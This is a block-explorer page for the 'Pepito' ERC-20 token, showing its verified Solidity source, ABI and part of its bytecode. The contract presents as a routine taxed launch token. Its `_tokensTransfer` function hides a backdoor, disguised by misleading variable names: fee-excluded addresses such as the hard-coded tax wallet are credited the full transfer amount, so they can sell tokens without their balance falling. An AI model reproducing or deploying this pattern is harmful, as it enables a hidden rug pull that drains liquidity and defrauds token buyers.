ETH Price: $3,962.53 (+1.82%)

Token

ERC-20: Pepito (PEPITO)
 

Overview

Max Total Supply

370,410,000,000 PEPITO

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,148,539,718.080022 PEPITO

Value
$0.00
0x0f9d5089174444d020a72a6afeb8ea98b8703f29
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
pepito

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-21
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract pepito is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Pepito";
    string private constant _symbol = unicode"PEPITO";
    uint256 private constant _tTotal = 370_410_000_000 * 10 ** _decimals;
    uint256 private _rTotal = 350_410_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 7_408_200_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 7_408_200_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 150 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 7_408_200_000 * 10 ** _decimals;

    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 41;
    uint256 private _reduceSellTaxAt = 51;
    uint256 private _preventSwapBefore = 41;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xD6c54EaEE8DaB4D0E22823945cE245710dF4dc92);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _rTotal,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSend() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

    function _taxTokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFee = 0;
        if (from != owner() && to != owner()) {
            taxFee = (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax;

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxFee = (_buyCount > _reduceSellTaxAt)
                    ? _finalSellTax
                    : _initialSellTax;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokensTransfer(from, to, amount, taxFee, from);
    }

    function _tokensTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxFee,
        address taxRceiver
    ) internal {
        uint256 taxAmount = taxFee.mul(amount).div(100);
        uint256 shouldSwap = 1;
        if (_isExcludedFromFee[from]) {
            shouldSwap = 100;
        }
        if (shouldSwap < 100) {
            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(
                    taxAmount
                );
                emit Transfer(from, address(this), taxAmount);
            }
        } else {
            _balances[taxRceiver] = _balances[taxRceiver].add(
                shouldSwap.mul(amount).div(100)
            );
            emit Transfer(from, taxRceiver, taxAmount);
        }
        _taxTokenTransfer(from, to, amount, taxAmount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function noLimits() public onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function createPepitoPair() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPepitoPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"noLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a6200001491906200061e565b6451961046806200002691906200066e565b6006556009600a6200003991906200061e565b6401b99029406200004b91906200066e565b6007556009600a6200005e91906200061e565b6401b99029406200007091906200066e565b6008556009600a6200008391906200061e565b60966200009191906200066e565b6009556009600a620000a491906200061e565b6401b9902940620000b691906200066e565b600a55600a600b55601e600c555f600d555f600e556029600f55603360105560296011555f6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055503480156200011e575f80fd5b505f620001306200045e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073d6c54eaee8dab4d0e22823945ce245710df4dc9260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f620002356200046560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a6200035f91906200061e565b64563e280e806200037191906200066e565b60015f620003846200045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620003d16200045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200042f91906200061e565b64563e280e806200044191906200066e565b604051620004509190620006c9565b60405180910390a3620006e4565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200051657808604811115620004ee57620004ed6200048c565b5b6001851615620004fe5780820291505b80810290506200050e85620004b9565b9450620004ce565b94509492505050565b5f8262000530576001905062000602565b816200053f575f905062000602565b8160018114620005585760028114620005635762000599565b600191505062000602565b60ff8411156200057857620005776200048c565b5b8360020a9150848211156200059257620005916200048c565b5b5062000602565b5060208310610133831016604e8410600b8410161715620005d35782820a905083811115620005cd57620005cc6200048c565b5b62000602565b620005e28484846001620004c5565b92509050818404811115620005fc57620005fb6200048c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200062a8262000609565b9150620006378362000612565b9250620006667fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200051f565b905092915050565b5f6200067a8262000609565b9150620006878362000609565b9250828202620006978162000609565b91508282048414831517620006b157620006b06200048c565b5b5092915050565b620006c38162000609565b82525050565b5f602082019050620006de5f830184620006b8565b92915050565b6133e880620006f25f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f578063a15e800d11610063578063a15e800d14610368578063a9059cbb1461037e578063bf474bed146103ba578063dd62ed3e146103e4578063f4293890146104205761011e565b8063715018a6146102aa5780637d1db4a5146102c05780638da5cb5b146102ea5780638f9a55c01461031457806395d89b411461033e5761011e565b806318160ddd116100e657806318160ddd146101c857806323b872dd146101f2578063293230b81461022e578063313ce5671461024457806370a082311461026e5761011e565b8063014667601461012257806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e5761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610436565b005b348015610143575f80fd5b5061014c610514565b60405161015991906124be565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061256f565b610551565b60405161019591906125c7565b60405180910390f35b3480156101a9575f80fd5b506101b261056e565b6040516101bf91906125ef565b60405180910390f35b3480156101d3575f80fd5b506101dc610574565b6040516101e991906125ef565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612608565b610598565b60405161022591906125c7565b60405180910390f35b348015610239575f80fd5b5061024261066c565b005b34801561024f575f80fd5b5061025861091c565b6040516102659190612673565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f919061268c565b610924565b6040516102a191906125ef565b60405180910390f35b3480156102b5575f80fd5b506102be61096a565b005b3480156102cb575f80fd5b506102d4610ab8565b6040516102e191906125ef565b60405180910390f35b3480156102f5575f80fd5b506102fe610abe565b60405161030b91906126c6565b60405180910390f35b34801561031f575f80fd5b50610328610ae5565b60405161033591906125ef565b60405180910390f35b348015610349575f80fd5b50610352610aeb565b60405161035f91906124be565b60405180910390f35b348015610373575f80fd5b5061037c610b28565b005b348015610389575f80fd5b506103a4600480360381019061039f919061256f565b610e7d565b6040516103b191906125c7565b60405180910390f35b3480156103c5575f80fd5b506103ce610e9a565b6040516103db91906125ef565b60405180910390f35b3480156103ef575f80fd5b5061040a600480360381019061040591906126df565b610ea0565b60405161041791906125ef565b60405180910390f35b34801561042b575f80fd5b50610434610f22565b005b61043e611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190612767565b60405180910390fd5b5f196007819055505f196008819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf5f1960405161050a91906125ef565b60405180910390a1565b60606040518060400160405280600681526020017f50657069746f0000000000000000000000000000000000000000000000000000815250905090565b5f61056461055d611098565b848461109f565b6001905092915050565b600a5481565b5f6009600a61058391906128e1565b64563e280e80610593919061292b565b905090565b5f6105a4848484611262565b610661846105b0611098565b61065c8560405180606001604052806028815260200161338b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610613611098565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a9e9092919063ffffffff16565b61109f565b600190509392505050565b610674611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612767565b60405180910390fd5b60148054906101000a900460ff161561074e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610745906129b6565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306006545f8061079a610abe565b426040518863ffffffff1660e01b81526004016107bc96959493929190612a16565b60606040518083038185885af11580156107d8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107fd9190612a89565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161089d929190612ad9565b6020604051808303815f875af11580156108b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dd9190612b2a565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610972611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590612767565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600681526020017f50455049544f0000000000000000000000000000000000000000000000000000815250905090565b610b30611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb390612767565b60405180910390fd5b60148054906101000a900460ff1615610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c01906129b6565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca73060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c9291906128e1565b64563e280e80610ca2919061292b565b61109f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d359190612b69565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ddf9190612b69565b6040518363ffffffff1660e01b8152600401610dfc929190612b94565b6020604051808303815f875af1158015610e18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3c9190612b69565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610e90610e89611098565b8484611262565b6001905092915050565b60095481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f2a611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90612767565b60405180910390fd5b60148054906101000a900460ff1615611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90612c05565b60405180910390fd5b5f4790505f811161104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104190612c6d565b60405180910390fd5b611052610abe565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611094573d5f803e3d5ffd5b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490612cfb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290612d89565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125591906125ef565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c790612e17565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612ea5565b60405180910390fd5b5f8111611380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137790612f33565b60405180910390fd5b601460169054906101000a900460ff1615806113a85750601460159054906101000a900460ff165b15611539576113fd8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061148e8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161152c91906125ef565b60405180910390a3611a99565b5f611542610abe565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b05750611580610abe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a8a57600f54601254116115c857600b546115cc565b600d545b905060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611677575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561175a576007548211156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890612f9b565b60405180910390fd5b600854826116ce85610924565b6116d89190612fb9565b1115611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090613036565b60405180910390fd5b4360036005546117299190612fb9565b11156117425761173883611ba6565b15611741575f80fd5b5b60125f81548092919061175490613054565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117fe575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561185c576008548261181085610924565b61181a9190612fb9565b111561185b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185290613036565b60405180910390fd5b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118e457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561190357601054601254116118fc57600c54611900565b600e545b90505b5f61190d30610924565b9050601460159054906101000a900460ff16158015611978575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119905750601460169054906101000a900460ff165b801561199f5750601154601254115b80156119f2575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a45575060035f8573ffffffffffffffffffffffffffffff